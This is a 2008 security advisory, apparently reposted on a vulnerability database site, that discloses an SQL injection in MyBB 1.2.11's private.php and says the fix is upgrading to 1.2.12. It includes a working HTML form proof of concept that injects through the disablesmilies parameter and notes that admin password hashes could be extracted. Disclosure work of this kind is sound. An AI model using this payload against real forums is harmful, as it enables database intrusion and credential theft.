`
[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11
===============================================================================
Author: Janek Vind "waraxe"
Date: 21. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-64.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.
Vulnerabilities discovered
===============================================================================
1. SQL Injection in "private.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Preconditions:
===============
a) attacker must have logged in as registered user
b) private message system must be enabled
Caused by:
===============
Parameter "disablesmilies" is not sanitized properly before being used in
INSERT sql query.
Explanation:
===============
Let's try this little piece of html code as proof-of-concept:
[--------------- PoC start -------------------------------------------------]
<html><body><center>
<form action="http://localhost/mybb.1.2.11/private.php" method="post">
<input type="hidden" name="action" value="do_send">
<input type="hidden" name="subject" value="f00subject">
<input type="hidden" name="message" value="f00message">
<input type="hidden" name="to" value="waraxe">
<input type="hidden" name="options[disablesmilies]" value="',waraxe,'">
<input type="submit" value="Test!">
</form>
</center></body></html>
[------------- PoC end ----------------------------------------------------]
NB! Parameter "to" must be valid username!
As result of test we can see sql error message:
MySQL error: 1136
Column count doesn't match value count at row 1
Query: INSERT INTO mybb_privatemessages (uid, toid, fromid, folder, subject,
icon, message, dateline, status, includesig, smilieoff, receipt, readtime)
VALUES ('1', '1', '1', '1', 'f00subject', '0', 'f00message', '1200579555',
'0', 'no', '',waraxe,'', '0', '0')
So sql injection security hole exists in INSERT query and in case of mysql
version >= 4.1 by using subselects attacker can fetch arbitrary data from
database, including admin password hash.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Download new MyBB version 1.2.12
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[email protected]
Janek Vind "waraxe"
Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html
---------------------------------- [ EOF ] --------------------------------
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation